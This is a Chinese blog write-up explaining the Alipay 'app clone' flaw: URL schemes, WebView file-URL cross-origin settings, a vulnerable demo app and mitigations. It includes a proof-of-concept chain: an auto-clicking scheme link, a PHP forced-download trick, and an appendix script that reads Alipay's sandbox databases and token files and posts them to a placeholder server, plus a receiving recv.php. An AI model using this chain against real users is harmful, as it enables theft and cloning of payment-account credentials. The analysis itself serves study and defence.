支付宝克隆攻击原理分析

在分析漏洞之前,我们先来了解两个相关知识点,跨域和URL scheme。

一、URL Scheme

URL Scheme是一种页面内跳转协议,就是通过定义自己的scheme协议,可以非常方便跳转app中的各个页面;通过scheme协议,服务器可以定制化告诉App跳转那个页面,可以通过通知栏消息定制化跳转页面,可以通过H5页面跳转页面等。
1.URL Scheme应用场景
客户端应用可以向操作系统注册一个 URL scheme,该 scheme 用于从浏览器或其他应用中启动本应用。通过指定的 URL 字段,可以让应用在被调起后直接打开某些特定页面,比如商品详情页、活动详情页等等。也可以执行某些指定动作,如完成支付等。也可以在应用内通过 html 页来直接调用显示 app 内的某个页面。综上URL Scheme使用场景大致分以下几种:
● 服务器下发跳转路径,客户端根据服务器下发跳转路径跳转相应的页面
● H5页面点击锚点,根据锚点具体跳转路径在APP端跳转到具体的页面
● APP端收到服务器端下发的PUSH通知栏消息,根据消息的点击跳转路径跳转相关页面
● APP根据URL跳转到另外一个APP指定页面
2.URL Scheme协议格式
URL Scheme协议格式和我们打开网页输入的网址类似。
一个完整的完整的URL Scheme协议格式由scheme、host、port、path和query组成,其结构如下所示:

<scheme>://<host>:<port>/<path>?<query>

其中scheme既可以是Android中常见的协议,也可以是我们自定义的协议。Android中常见的协议包括content协议、http协议、file协议等,自定义协议可以使用自定义的字符串,当我们启动第三方的应用时候,多是使用自定义协议。

如下是一个自定义协议的URI:

xl://goods:8888/goodsDetail?goodsId=10011002

通过上面的路径 Scheme、Host、port、path、query全部包含:

● xl,即为Scheme,代表该Scheme 协议名称
● goods,即为Host,代表Scheme作用于哪个地址域
● 8888,即为port,代表该路径的端口号
● goodsDetail,即为path, 代表Scheme指定的页面
● goodsId,即为query,代表传递的参数
3.使用方法
URL Scheme的使用方法简要言之就是先在manifest中配置能接受Scheme方式启动的activity;当需要调用时,将Scheme协议的URi以Data的形式加入到Intent中,隐式调用该activity。
1). 在AndroidManifest.xml中对<activity >标签增加<intent-filter>设置Scheme

<activity android:name=".MainActivity">
    <intent-filter> <!--正常启动-->
        <action android:name="android.intent.action.MAIN"/>
        <category android:name="android.intent.category.LAUNCHER"/>
    </intent-filter>
    <intent-filter> <!--URL Scheme启动-->
        <!--必有项-->
        <action android:name="android.intent.action.VIEW"/>
        <!--如果希望该应用可以通过浏览器的连接启动,则添加该项-->
        <category android:name="android.intent.category.BROWSABLE"/>
        <!--表示该页面可以被隐式调用,必须加上该项-->
        <category android:name="android.intent.category.DEFAULT"/>
        <!--协议部分-->
        <data android:scheme="urlscheme"
            android:host="auth_activity">
    </intent-filter>
    <intent-filter>
        <action   android:name="emms.intent.action.check_authorization"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="emms.intent.category.authorization"/>
    </intent-filter>
</activity>

上面的设置中可以看到,MainActivity包含多个<intent-filter>设置,第一个是正常的启动,也就是在应用列表中启动;第二个是通过URL Scheme方式启动,其本身也是隐式Intent调用的一种,不同在于添加了<data>属性,定义了其接受URL Scheme协议格式为

urlschemel://auth_activity

这里需要说明下,URL Scheme协议格式中,组成URI的这些属性在<data >标签中都是可选的 ,但存在如下的依赖关系:

● 如果没有指定scheme,那么host参数会被忽略
● 如果没有指定host,那么port参数会被忽略
● 如果scheme和host都没有指定,path参数会被忽略
当我们将intent对象中的Uri参数与intent-filter中的<data>标签指定的URI格式进行对比时,我们只对比intent-filter的<data>标签指定的部分,例如:
● 如果intent-filter中只指定了scheme,那么所有带有该sheme的URI都能匹配到该intent-filter。
● 如果intent-filter中只指定了scheme和authority(authority包括host和port两部分)而没有指定path,那么所有具有相同scheme和authority的URI都能匹配到该intent-filter,而不用考虑path为何值。
● 如果intent-filter中同时指定了scheme、authority和path,那么只有具有相同scheme、authority和path的URI才能匹配到该intent-filter。
需要注意的是,intent-filter的<data>标签在指定path的值时,可以在里面使用通配符*,起到部分匹配的效果。
2). 使用URL启动Activity

  Uri data = Uri.parse("urlschemel://auth_activity");
  Intent intent = new Intent(Intent.ACTION_VIEW,data);
  //保证新启动的APP有单独的堆栈,如果希望新启动的APP和原有APP使用同一个堆栈则去掉该项
  intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
  try {
    startActivityForResult(intent, RESULT_OK);
  } catch (Exception e) {
    e.printStackTrace();
    Toast.makeText(MainActivity.this, "没有匹配的APP,请下载安装",Toast.LENGTH_SHORT).show();
  }

当然可以在网页中调用

<a href="urlschemel://auth_activity">打开新的应用</a>

或者是在JS中调用

window.location = "urlschemel://auth_activity";

二、Webview跨域

要了解什么是跨域,先得知道一个概念——同源。所谓同源是指,域名,协议,端口均相同。如果Android的webview当前页面要加载一个不同源的页面,那就是跨域,示例如下:

http://www.123.com/index.html 调用 http://www.123.com/server.php (非跨域)
http://www.123.com/index.html 调用 http://www.456.com/server.php (主域名不同:123/456,跨域)
http://abc.123.com/index.html 调用 http://def.123.com/server.php (子域名不同:abc/def,跨域)
http://www.123.com:8080/index.html 调用 http://www.123.com:8081/server.php (端口不同:8080/8081,跨域)
http://www.123.com/index.html 调用 https://www.123.com/server.php (协议不同:http/https,跨域)

请注意:localhost和127.0.0.1虽然都指向本机,但也属于跨域。

三、漏洞产生原因

支付宝应用克隆漏洞产生的条件:
(1)应用中存在设置为可被导出的Activity组件,并且组件中包含Webview调用。
(2)Webview调用中setAllowFileAccessFromFileURLs 或
setAllowUniversalAccessFromFileURLs 设置为true(minSdk<=4.1 默认为true,minSdk>4.1 默认为false),导致可以跨域访问(允许通过file域对http域进行访问)。

setAllowFileAccess设置是否允许WebView使用File协议,默认值是允许,如果不允许使用File协议,则不会存在下述的各种跨源的安全威胁,但同时也限制了webview的功能,使其不能加载本地的html文件

setAllowFileAccessFromFileURLs设置是否允许通过file url加载的Javascript读取其它的本地文件,这个设置在JELLY_BEAN以前的版本默认是允许,在JELLY_BEAN及以后的版本中默认是禁止的。 setAllowUniversalAccessFromFileURLs设置是否允许通过file url加载的Javascript可以访问其它的源,包括其他的文件和http,https等其他的源。这个设置在JELLY_BEAN以前的版本默认是允许,在JELLY_BEAN及以后的版本中默认是禁止的。

四、漏洞的利用

漏洞的利用我们需要用到URL Scheme协议。支付宝中包含的几个scheme协议如下:

在支付宝接入文档中(https://open.alipay.com/search/searchDetail.htm)搜索了关于支付宝scheme的用法,主要有以下几种:
(1)芝麻可信电子合约方案接入

alipays://platformapi/startapp?appId=20000067&url=为固定值

(2)卡券url scheme

卡列表(此appId为内部参数,不能更改)
alipays://platformapi/startapp?appId=20000021&b=m&hasData=true&has_member_data=true

商户卡列表(pid参数指定商户的支付宝partner_id)
alipays://platformapi/startapp?appId=20000021&b=t&a=sh&pid=xxx

卡详情(p参数指定会员卡的支付宝编号)
alipays://platformapi/startapp?appId=20000021&b=m&p=11111&tagfrom=push

网上有文章(http://open.appscan.io/article-470.html)说,在Android版Chrome浏览器版本18及更早版本可以通过在页面中嵌入iframe来实现打开应用程序

<iframe src="paulsawesomeapp://page1">

在25及更高版本上,设置iframe的src属性不再可能启动Android应用程序,但是使用a标签是可以的。但是我在实际测试中,在chrome25以上版本使用a标签或者chrome18版本使用iframe设置src属性均不能打开支付宝,后来换成系统默认浏览器,可以打开支付宝,但是通过上述URL scheme均不能加载file域资源。

所以,这里只能自己写demo程序演示这个原理了,以后如果复现成功了再补充。
首先,创建一个demo工程,包含一个MainActivity,在该Activity中通过setAllowFileAccessFromFileURLs和setAllowUniversalAccessFromFileURLs为true开启了webview的跨域功能(实际只需要设置一个就行了)。具体代码如下:

protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);

    wView = (WebView)findViewById(R.id.wv);
    WebSettings wSet = wView.getSettings();
    wSet.setJavaScriptEnabled(true);

    //开启跨域访问,以下两个方法开启一个就行了
    wSet.setAllowFileAccessFromFileURLs(true);
    wSet.setAllowUniversalAccessFromFileURLs(true);

    wView.setWebViewClient(new WebViewClient());
    Uri uri = getIntent().getData();
    if (uri != null && uri.getScheme().equals("vultest")){
        String url = uri.getQueryParameter("url");
        wView.loadUrl(url);
    }
}

以下是该activity的URL scheme配置

由前面介绍的URL Scheme的知识我们知道,可以通过<a href="vultest://bamb00.com"></a>打开这个activity。
我们看到代码中通过loadUrl加载了URL Scheme传递进来的参数作为url,但是并没有对这个url路径进行校验,所以我们完全可以通过构造一个url scheme传递一个指向恶意文件的路径,让该应用的webview加载,从而实现漏洞利用。
我们首先在SD卡上创建一个evil.html文件作为恶意代码文件,内容如下:

<?xml version="1.0" encoding="utf-8"?>
<html>
    <head>
        <tilt>恭喜你,中奖了!</title>
    </head>
    <body>
        <a>Hello World.</a>
    </body>
</html>

然后我们在pc上用xampp搭建一个php服务器,创建一个test.html文件放入根目录,test.html的文件内容如下:

<script src="https://cdn.bootcss.com/jquery/3.2.1/jquery.min.js"></script>
<script type="text/javascript">
  $(function(){
    function clicksp(){
      $("#sp").trigger("click");
    }
    setTimeout(clicksp, 500);
  });
</script>
<a href="vultest://bamb00.com?url=file:///sdcard/evil.html">open app<span id="sp"></span></a>

然后我们通过在手机浏览器中访问“pc机IP地址/evil.html”进行测试,发现demo程序已被启动,如图:

点击“open app”链接,就成功加载了恶意页面:

跨域漏洞利用是成功了,但是这个恶意页面应该如何放到用户手机上呢?这就需要利用到chrome浏览器的一个漏洞了。
chrome浏览器在处理 Content-Disposition: attachment 的时候,UI设计存在漏洞,导致可以自动下载文件到固定的本地目录。PoC如下:

<?php
    header("Content-Disposition: attachment; filename=evil.html");
    print "I'm evil.html"
?>

上述代码表示下载一个文件名为evil.html的文件,内容为"I'm evil.html"(在这里代表恶意代码)。

接下来,我们创建一个test.php文件,写入上述内容,放入服务器web根目录,然后在test.html文件开头加上代码:

<iframe style="display:none" src="test.php"></iframe>

如图所示:

然后在浏览器中访问该页面,就会自动下载evil.html文件到sd卡的Download目录中,然后打开demo app跨域加载该页面,执行恶意代码了,如图所示:

如果在evil.html中写入的是获取应用“/data/data/包名”目录下保存用户登录信息文件上传给服务器端的代码,那么恶意攻击者就只需要想办法让用户点击攻击者精心构造的test.html的链接,就完全可以获取用户身份信息,在另外一部手机上克隆这个应用的用户信息了。支付宝克隆漏洞的产生也是如此。支付宝存在开启了跨域功能的webview组件,而且这个页面是可以通过URL Scheme协议打开的。恶意攻击者只要借助一个钓鱼页面就把手机中支付宝账号信息上传到自己的服务器了。

解决方案

具备开发能力的企业,请按照如下检查步骤进行修复:

(1) 严格限制包含WebView调用的Activity组件的导出权限,关闭导出权限或者限制导出组件的发起者。

(2) 对于功能要求必须导出的Activity组件,根据情况手动设置setAllowFileAccess(false)、setAllowFileAccessFromFileURLs(false) setAllowUniversalAccessFromFileURLs(false)

(3) 对于必须使用file URL对http域进行访问时,可对传入的URL路径范围严格控制,例如建立URL白名单,设置允许访问的URL列表(不要遗漏路径中可能出现的特殊情况如“../../”等,避免限制被绕过)

附:

上传沙箱文件到服务器端代码:

    <div><h2>Hello<h2>Hello Alipay!</h2>
    <script>
    var server = "http://服务端地址/recv.php";
    function createXHR(){
        if(typeof XMLHttpRequest != 'undefined'){
            return new XMLHttpRequest();
        }else if(typeof ActiveXObject != 'undefined'){
            if(typeof arguments.callee.activeXString != 'string'){
                var versions = ['MSXML2.XMLHttp.6.0','MSXML2.XMLHttp.3.0','MSXML2.XMLHttp'];
                for(var i=0;i<versions.length;i++){
                    try{
                        var xhr = new ActiveXObject(versions[i]);
                        arguments.callee.activeXString = versions[i];
                        return xhr;
                    }catch(ex){}
                }
            }
            return new ActiveXObject(arguments.callee.activeXString);
        }else{
            throw new Error('No XHR Object available');
        }
    }
    // send POST Request
    function sendPostRequest(url,data,headers,callback){
        var xhr  = createXHR();
        xhr.onload = function(){
            callback(xhr.responseText);
        }
        xhr.open('POST',url,false);
        if(typeof(headers)=='object'){
            for(var index in headers){
                if(typeof(headers[index])!='function'){
                    xhr.setRequestHeader(index,headers[index]);
                }
            }
        }
        xhr.send(data);
    }
    // send GET Request to read file and return base64(file_content)
    function sendGetRequestForB64File(url, filename, callback) {
        var xhr = createXHR();
        xhr.onload = function() {
        var reader = new FileReader();
            reader.onloadend = function() {
                var result = reader.result;
                var data = result.substr(result.search('base64,') + 'base64,'.length,result.length);
                data = data.replace(/+/g,'-').replace(///g, '_');
                callback(filename, data);
            }
            reader.readAsDataURL(xhr.response);
        };
        xhr.open('GET', url);
        xhr.responseType = 'blob';
        xhr.send();
    }
    var files = Array(
        'databases/alipayclient.db',
        'databases/alipayclient.db-journal',
        'files/SGMANAGER_DATA2',
        'shared_prefs/alipay_tid_storage.xml',
        'shared_prefs/secuitySharedDataStore.xml'
    );
    var base_path = 'file:///data/data/com.eg.android.AlipayGphone/';
    for(var each in files){
        var file_path = base_path + files[each]
        sendGetRequestForB64File(file_path,files[each],function(filename, response){
            sendPostRequest(
                server,
                'name=' + escape(filename) + '&' + 'content=' + escape(response),
                {"Content-type" : "application/x-www-form-urlencoded"},
                function(a){}
            );
        });
    }
    </script>
    </div>

服务端代码recv.php

<?php
    function base64url_decode($data) { 
        return base64_decode(str_pad(strtr($data, '-_', '+/'), strlen($data) % 4, '=', STR_PAD_RIGHT)); 
    } 
    file_put_contents('/home/exp/clone_attack/'.$_POST['name'], base64url_decode($_POST['content']));
 ?>

参考资料:

http://open.appscan.io/article-470.html
https://www.jianshu.com/p/6a6bff614407
http://ijz.me/?p=999

《webview跨域攻击原理》

原文地址:https://www.cnblogs.com/goodhacker/p/8748681.html